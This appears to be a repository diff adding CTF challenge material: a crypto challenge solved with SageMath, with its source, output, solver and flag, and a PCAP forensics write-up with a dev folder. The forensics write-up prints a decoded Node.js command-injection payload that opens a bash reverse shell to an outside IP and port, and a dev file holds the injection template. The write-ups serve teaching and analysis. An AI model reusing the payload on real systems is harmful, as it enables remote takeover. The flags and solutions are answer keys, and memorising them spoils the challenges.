+# Synopsis + +- `sugar free candies` is a very easy crypto challege. The flag of this challenge is splitted into three parts. Four relations between these splitted parts are calculated and outputted to an output text file. The players will have to solve a system of three unknowns, given four equations with SageMath, or any other tool of their choice, and recover the flag. + +## Description + +- For years, strange signals pulsed through the air on the eve of October 31st. Some said it was the voice of an ancient witch, others believed it was a message from something far darker. A cryptic message, scattered in three parts, was intercepted by a daring group of villagers. Legend spoke of a deal made between the witch and a shadowy figure, but the true intent of their secret could only be revealed by those brave enough to decipher it before midnight, when the veil between worlds would thin. + + + +## Skills Required + +- Basic Python source code analysis. +- Know how to work with equations with multiple variables programmatically. + +## Skills Learned + +- Solve equations with SageMath. + +# Enumeration + +In this challenge we are provided with two files. + +- `source.py` : It is the main python script that produces the output file. +- `output.txt` : Contains the data outputted from the source script. + +## Analyzing the challenge + +The code of the script is not lengthy so let us take a look. + +```python +from Crypto.Util.number import bytes_to_long + +FLAG = open("flag.txt", "rb").read() + +step = len(FLAG) // 3 +candies = [bytes_to_long(FLAG[i:i+step]) for i in range(0, len(FLAG), step)] + +cnd1, cnd2, cnd3 = candies + +with open('output.tcnd1t', 'w') as f: + f.write(f'v1 = {cnd1**3 + cnd3**2 + cnd2}\n') + f.write(f'v2 = {cnd2**3 + cnd1**2 + cnd3}\n') + f.write(f'v3 = {cnd3**3 + cnd2**2 + cnd1}\n') + f.write(f'v4 = {cnd1 + cnd2 + cnd3}\n') +``` + +The steps can be summarised as: + +- The challenge reads the flag from `flag.txt`, which is secret and not provided to us +- It is splitted in three parts, which are denoted as `cnd1`, `cnd2`, and `cnd3` respectively. Each part is then converted into an integer representation. +- Four relations between the splitted parts are calculated and finally outputted to the output file `output.txt`. + +# Solution + +Our task is straight forward. We have to solve a system of three unknowns given four equations. Since the number of unknowns is less than the number of equations we are given, it is guaranteed that a solution $(x, y, z) = (x_0, y_0, z_0)$ exists. It should be noted that three equations would also guarantee a unique solution. + +However, the problem is that the numbers are large and the equations non-linear so it would be very hard to solve with just pen and paper. We have to use some tool for this purpose. By researching the keywords `python solve equations` with the search engine of your choice, one should stumble upon the `SymPy` library. However, as the SageMath library is more common in CTFs, we will prefer that one. Note that there are also online equation solvers that should work too. + +# Exploitation + +Let us first load the data from the output file. + +```python +exec(open('output.txt').read()) +``` + +Let us first write a function that creates and returns three variables, one for each part of the flag. Due to use of `bytes_to_long`, we know they must be integers so we care only about solutions in the set of integers $\mathbb{Z}$. In SageMath, we can define variables using the `var()` function. + +```python +from sage.all import * + +def create_variables(): + x,y,z = var('x,y,z', domain=ZZ) + return x,y,z +``` + +Then, we move on solving the system. For this purpose, we will utilize SageMath's [function](https://doc.sagemath.org/html/en/reference/calculus/sage/symbolic/relation.html#sage.symbolic.relation.solve) `solve()`. This functions receives a list of equations and the variables we want to solve for. Let us write a function that returns the solutions of the equations. + +```python +def solve_system(x, y, z, v1, v2, v3, v4): + return solve([ + x**3 + z**2 + y == v1, + y**3 + x**2 + z == v2, + z**3 + y**2 + x == v3, + x + y + z == v4 + ], x, y, z, solution_dict=True)[0] +``` + +We also choose to retrieve the solutions in a dictionary format, to make the solution parsing more convenient. + +Having the solutions, we can reconstruct the flag as: + +```python +from Crypto.Util.number import long_to_bytes + +def get_flag(sols): + return b''.join([long_to_bytes(int(n)) for n in [sols[x], sols[y], sols[z]]]) +``` + +## Getting the flag + +Let us recap the steps for getting the flag. + +- We noticed the flag is splitted into three parts. +- We noticed that we are given four relations of these parts so the system must have a unique solution. +- By minimal research, we see that we can solve systems using SageMath, SymPy or any online tool. +- Solving for the three unknown parts, we reconstruct the flag. + +This recap can be represented with code as below: + +```python +exec(open('output.txt').read()) + +def pwn(): + x, y, z = create_variables() + sols = solve_system(x, y, z) + flag = get_flag(sols) + print(flag) + + +if __name__ == '__main__': + pwn() +``` + diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/assets/images/banner.png b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/assets/images/banner.png new file mode 100644 index 0000000..bce6111 Binary files /dev/null and b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/assets/images/banner.png differ diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/assets/images/htb.png b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/assets/images/htb.png new file mode 100644 index 0000000..fe73253 Binary files /dev/null and b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/assets/images/htb.png differ diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/challenge/flag.txt b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/challenge/flag.txt new file mode 100644 index 0000000..06c8f5b --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/challenge/flag.txt @@ -0,0 +1 @@ +HTB{__protecting_the_secret_in_equations_is_not_secure__} \ No newline at end of file diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/challenge/output.txt b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/challenge/output.txt new file mode 100644 index 0000000..e78909c --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/challenge/output.txt @@ -0,0 +1,4 @@ +v1 = 4196604293528562019178729176959696479940189487937638820300425092623669070870963842968690664766177268414970591786532318240478088400508536 +v2 = 11553755018372917030893247277947844502733193007054515695939193023629350385471097895533448484666684220755712537476486600303519342608532236 +v3 = 14943875659428467087081841480998474044007665197104764079769879270204055794811591927815227928936527971132575961879124968229204795457570030 +v4 = 6336816260107995932250378492551290960420748628 diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/challenge/source.py b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/challenge/source.py new file mode 100644 index 0000000..5505aef --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/challenge/source.py @@ -0,0 +1,14 @@ +from Crypto.Util.number import bytes_to_long + +FLAG = open("flag.txt", "rb").read() + +step = len(FLAG) // 3 +candies = [bytes_to_long(FLAG[i:i+step]) for i in range(0, len(FLAG), step)] + +cnd1, cnd2, cnd3 = candies + +with open('output.txt', 'w') as f: + f.write(f'v1 = {cnd1**3 + cnd3**2 + cnd2}\n') + f.write(f'v2 = {cnd2**3 + cnd1**2 + cnd3}\n') + f.write(f'v3 = {cnd3**3 + cnd2**2 + cnd1}\n') + f.write(f'v4 = {cnd1 + cnd2 + cnd3}\n') \ No newline at end of file diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/htb/output.txt b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/htb/output.txt new file mode 100644 index 0000000..e78909c --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/htb/output.txt @@ -0,0 +1,4 @@ +v1 = 4196604293528562019178729176959696479940189487937638820300425092623669070870963842968690664766177268414970591786532318240478088400508536 +v2 = 11553755018372917030893247277947844502733193007054515695939193023629350385471097895533448484666684220755712537476486600303519342608532236 +v3 = 14943875659428467087081841480998474044007665197104764079769879270204055794811591927815227928936527971132575961879124968229204795457570030 +v4 = 6336816260107995932250378492551290960420748628 diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/htb/solver.py b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/htb/solver.py new file mode 100644 index 0000000..23b8238 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/htb/solver.py @@ -0,0 +1,29 @@ +from sage.all import * +from Crypto.Util.number import long_to_bytes + +exec(open('output.txt').read()) + +def create_variables(): + x,y,z = var('x,y,z', domain=ZZ) + return x,y,z + +def solve_system(x, y, z): + return solve([ + x**3 + z**2 + y == v1, + y**3 + x**2 + z == v2, + z**3 + y**2 + x == v3, + x + y + z == v4 + ], x, y, z, solution_dict=True)[0] + +def get_flag(sols): + return b''.join([long_to_bytes(int(n)) for n in [sols[x], sols[y], sols[z]]]) + +def pwn(): + x, y, z = create_variables() + sols = solve_system(x, y, z) + flag = get_flag(sols) + print(flag) + + +if __name__ == '__main__': + pwn() \ No newline at end of file diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/release/crypto_sugar_free_candies.zip b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/release/crypto_sugar_free_candies.zip new file mode 100644 index 0000000..63ba741 Binary files /dev/null and b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/release/crypto_sugar_free_candies.zip differ diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/release/crypto_sugar_free_candies/output.txt b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/release/crypto_sugar_free_candies/output.txt new file mode 100644 index 0000000..e78909c --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/release/crypto_sugar_free_candies/output.txt @@ -0,0 +1,4 @@ +v1 = 4196604293528562019178729176959696479940189487937638820300425092623669070870963842968690664766177268414970591786532318240478088400508536 +v2 = 11553755018372917030893247277947844502733193007054515695939193023629350385471097895533448484666684220755712537476486600303519342608532236 +v3 = 14943875659428467087081841480998474044007665197104764079769879270204055794811591927815227928936527971132575961879124968229204795457570030 +v4 = 6336816260107995932250378492551290960420748628 diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/release/crypto_sugar_free_candies/source.py b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/release/crypto_sugar_free_candies/source.py new file mode 100644 index 0000000..5505aef --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/release/crypto_sugar_free_candies/source.py @@ -0,0 +1,14 @@ +from Crypto.Util.number import bytes_to_long + +FLAG = open("flag.txt", "rb").read() + +step = len(FLAG) // 3 +candies = [bytes_to_long(FLAG[i:i+step]) for i in range(0, len(FLAG), step)] + +cnd1, cnd2, cnd3 = candies + +with open('output.txt', 'w') as f: + f.write(f'v1 = {cnd1**3 + cnd3**2 + cnd2}\n') + f.write(f'v2 = {cnd2**3 + cnd1**2 + cnd3}\n') + f.write(f'v3 = {cnd3**3 + cnd2**2 + cnd1}\n') + f.write(f'v4 = {cnd1 + cnd2 + cnd3}\n') \ No newline at end of file diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/Readme.md b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/Readme.md new file mode 100644 index 0000000..e558806 --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/Readme.md @@ -0,0 +1,67 @@ +![img](assets/banner.png) + + Forbidden Manuscript + +26th Oct 2024 + +Prepared By: `gordic` + +Challenge Author(s): `gordic` + +Difficulty: Very Easy + +

+ +# Synopsis + +- The user is tasked with performing PCAP analysis. The challenge is straightforward: the user must analyze HTTP requests within the network capture to uncover details of the incident. One of the streams contains an encoded payload. + +## Description + +- On the haunting night of Halloween, the website of "Shadowbrook Library"—a digital vault of forbidden and arcane manuscripts—was silently breached by an unknown entity. Though the site appears unaltered, unsettling anomalies suggest something sinister has been stolen from its cryptic depths. Ominous network traffic logs from the time of the intrusion have emerged. Your task is to delve into this data and uncover any dark secrets that were exfiltrated. + +Flag: `HTB{f0rb1dd3n_m4nu5cr1p7_15_1n_7h3_w1ld}` + +## Skills Required + +- Basic wireshark usage +- Basic .pcap analysis +- Hex encoding/decoding + +## Skills Learned (!) + +- Packet analysis +- Detection of command injection +- Reverse shell analysis + +# Enumeration (!) + +The challenge provides a PCAP file named `capture.pcap`. We can start by opening the file in Wireshark. + +![Writeup 1](assets/writeup1.png) + +We can follow first HTTP stream by right-clicking on the first HTTP packet and selecting `Follow > HTTP Stream`. We are greeted with a windows that shows the HTTP requests and responses. + +![Writeup 2](assets/writeup2.png) + +Upon examining the HTTP streams, we find an encoded string in stream 4. We can copy this string and decode it using an online tool or a Python script. + +![Writeup 3](assets/writeup3.png) + +First, we perform URL decoding on the string. The decoded string is: + +> exploit() {} && ((()=>{ global.process.mainModule.require("child_process").execSync("bash -c 'bash -i >& /dev/tcp/192.168.56.104/4444 0>&1'"); })()) && function pwned + +This appears to be a reverse shell payload. After closing the HTTP stream, we scroll down to the end of stream 4 in Wireshark and notice numerous TCP packets. These packets represent the reverse shell connection, indicated by the use of port 4444 as specified in the payload. + +![Writeup 4](assets/writeup4.png) + +We can follow this TCP stream by right-clicking on the first TCP packet and selecting `Follow > TCP Stream`. This reveals the reverse shell commands being executed, and we can see the flag being displayed in the terminal. + +![Writeup 5](assets/writeup5.png) + +To retrieve the flag, we use CyberChef's "From Hex" function to decode it. + +Encoded Flag: `4854427b66307262316464336e5f6d346e753563723170375f31355f316e5f3768335f77316c647d` + +Decoded Flag: `HTB{f0rb1dd3n_m4nu5cr1p7_15_1n_7h3_w1ld}` \ No newline at end of file diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/banner.png b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/banner.png new file mode 100644 index 0000000..bce6111 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/banner.png differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/htb.png b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/htb.png new file mode 100644 index 0000000..fe73253 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/htb.png differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup1.png b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup1.png new file mode 100644 index 0000000..7acec78 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup1.png differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup2.png b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup2.png new file mode 100644 index 0000000..53db89f Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup2.png differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup3.png b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup3.png new file mode 100644 index 0000000..08a2835 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup3.png differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup4.png b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup4.png new file mode 100644 index 0000000..6d66539 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup4.png differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup5.png b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup5.png new file mode 100644 index 0000000..72a78f6 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/assets/writeup5.png differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/command.md b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/command.md new file mode 100644 index 0000000..0e07284 --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/command.md @@ -0,0 +1 @@ +exploit() {} && (() => {global.process.mainModule.require("child_process").execSync("");})() && function pwned \ No newline at end of file diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/.7z b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/.7z new file mode 100644 index 0000000..46e2c91 Binary files /dev/null and b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/.7z differ diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/Dockerfile b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/Dockerfile new file mode 100644 index 0000000..d6869ea --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/Dockerfile @@ -0,0 +1,14 @@ +FROM node:18 + +RUN apt-get update && apt-get install -y netcat-openbsd + +WORKDIR /usr/src/app + +COPY package*.json ./ +RUN npm install + +COPY . . + +EXPOSE 3000 + +CMD ["npm", "start"] diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/docker-compose.yml b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/docker-compose.yml new file mode 100644 index 0000000..9df9bb9 --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/docker-compose.yml @@ -0,0 +1,19 @@ +version: '3.8' +services: + web: + build: . + ports: + - "3000:3000" + environment: + - NODE_ENV=production + - DB_PATH=/usr/src/app/data/shadowbrook.db + volumes: + - .:/usr/src/app + - ./data:/usr/src/app/data # Ensure data is persistent + depends_on: + - db + + db: + image: nouchka/sqlite3 + volumes: + - ./data:/data \ No newline at end of file diff --git a/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/package-lock.json b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/package-lock.json new file mode 100644 index 0000000..e02b0fb --- /dev/null +++ b/htb/hacktheboo2024/forensics/[Very Easy] Forbidden Manuscript/dev/shadowbrook-library/package-lock.json @@ -0,0 +1,2418 @@ +{ + "name": "shadowbrook-library", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "shadowbrook-library", + "version": "1.0.0", + "dependencies": { + "@blakeembrey/template": "1.1.0", + "body-parser": "^1.19.0", + "ejs": "^3.1.10", + "express": "^4.17.1", + "sqlite3": "^5.0.0", + "squirrelly": "^9.0.0" + } + }, + "node_modules/@blakeembrey/template": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@blakeembrey/template/-/template-1.1.0.tgz", + "integrity": "sha512-iZf+UWfL+DogJVpd/xMQyP6X6McYd6ArdYoPMiv/zlOTzeXXfQbYxBNJJBF6tThvsjLMbA8tLjkCdm9RWMFCCw==", + "license": "Apache-2.0" + }, + "node_modules/@gar/promisify": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz", + "integrity": "sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==", + "license": "MIT", + "optional": true + }, + "node_modules/@npmcli/fs": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz", + "integrity": "sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "@gar/promisify": "^1.0.1", + "semver": "^7.3.5" + } + }, + "node_modules/@npmcli/move-file": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz", + "integrity": "sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==", + "deprecated": "This functionality has been moved to @npmcli/fs", + "license": "MIT", + "optional": true, + "dependencies": { + "mkdirp": "^1.0.4", + "rimraf": "^3.0.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@tootallnate/once": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", + "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/abbrev": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", + "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", + "license": "ISC", + "optional": true + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "license": "MIT", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/agent-base/node_modules/debug": { + "version": "4.3.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz", + "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/agent-base/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT", + "optional": true + }, + "node_modules/agentkeepalive": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.5.0.tgz", + "integrity": "sha512-5GG/5IbQQpC9FpkRGsSvZI5QYeSCzlJHdpBQntCsuTOxhKD8lqKhrleg2Yi7yvMIf82Ycmmqln9U8V9qwEiJew==", + "license": "MIT", + "optional": true, + "dependencies": { + "humanize-ms": "^1.2.1" + }, + "engines": { + "node": ">= 8.0.0" + } + }, + "node_modules/aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "license": "MIT", + "optional": true, + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/aproba": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.0.0.tgz", + "integrity": "sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ==", + "license": "ISC", + "optional": true + }, + "node_modules/are-we-there-yet": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz", + "integrity": "sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==", + "deprecated": "This package is no longer supported.", + "license": "ISC", + "optional": true, + "dependencies": { + "delegates": "^1.0.0", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==", + "license": "MIT" + }, + "node_modules/async": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", + "license": "MIT" + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "license": "MIT" + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/bindings": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", + "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", + "license": "MIT", + "dependencies": { + "file-uri-to-path": "1.0.0" + } + }, + "node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "license": "MIT", + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/body-parser": { + "version": "1.20.3", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.3.tgz", + "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==", + "license": "MIT", + "dependencies": { + "bytes": "3.1.2", + "content-type": "~1.0.5", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.13.0", + "raw-body": "2.5.2", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/cacache": { + "version": "15.3.0", + "resolved": 